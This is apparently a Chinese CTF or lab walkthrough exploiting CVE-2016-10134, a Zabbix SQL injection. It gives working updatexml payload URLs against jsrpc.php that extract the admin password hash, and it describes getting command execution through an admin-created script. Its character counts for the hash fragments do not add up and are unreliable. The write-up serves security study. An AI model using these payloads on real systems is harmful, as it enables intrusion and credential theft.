1、漏洞描述
CVE-2016-10134 是 Zabbix Web 前端的一个高危 SQL 注入漏洞。它的核心问题是 latest.php 在处理 toggle_ids 参数时,直接将其拼接进了 SQL 语句,没有做任何过滤。
2、触发条件
- 核心条件:目标 Zabbix 版本在受影响范围内,且 Web 界面可访问。
- 认证要求:通常无需登录。Zabbix 默认可能开启 Guest 模式(空密码),即使未开启,
jsrpc.php的注入点有时也可以未授权触发。 - 网络位置:攻击者能够直接访问 Zabbix 的 Web 端口。
3、解题
访问页面:

使用guest空密码账号登录

/jsrpc.php是安全研究员 Brandon Perry通过代码审计发现,虽然入口点不同(latest.php 的 toggle_ids vs jsrpc.php 的 profileIdx2),但两个参数最终都流向了同一个存在缺陷的函数 CProfile::insertDB(),jsrpc.php 的 profileIdx2 参数恰好满足这个条件,而且无需登录(利用默认的 guest 空密码)即可触发。
所以我们可以构造注入语句:
http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

说明存在报错注入,接下来我们可以看看Zabbix的管理员的账号密码:
/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(1,concat(0x7e,(select concat(alias,0x3a,passwd) from users limit 0,1),0x7e),1)

这样我们就得到了Zabbix的管理员账号了Admin以及密码5fce1b3e34b520afeffb37ce0
看样子密码是MD5过来的,不过这里由于updatexml() 报错回显有 32 字符长度限制,你的拼接结果是 ~Admin: + 32位MD5,总共 39 个字符,所以 MD5 只显示了前 27 位(5fce1b3e34b520afeffb37ce0),后面还有 5 位没显示出来,所以我们需要查询第二段
profileIdx2=updatexml(1,concat(0x7e,(select substr(passwd,17,16) from users limit 0,1),0x7e),1)

第二段8c7cd66,接下来我们可以用在线的MD5解密站来尝试反查

这样我们就获取了Zabbix站点的管理员账号和密码,但是该漏洞还没有到此结束,然后使用账号密码登录:

在Administration的Script中可以创建可执行脚本

要触发这个脚本,需要在Monitoring的Latest data里面查看

就能看到flag了。
评论区
评论加载中...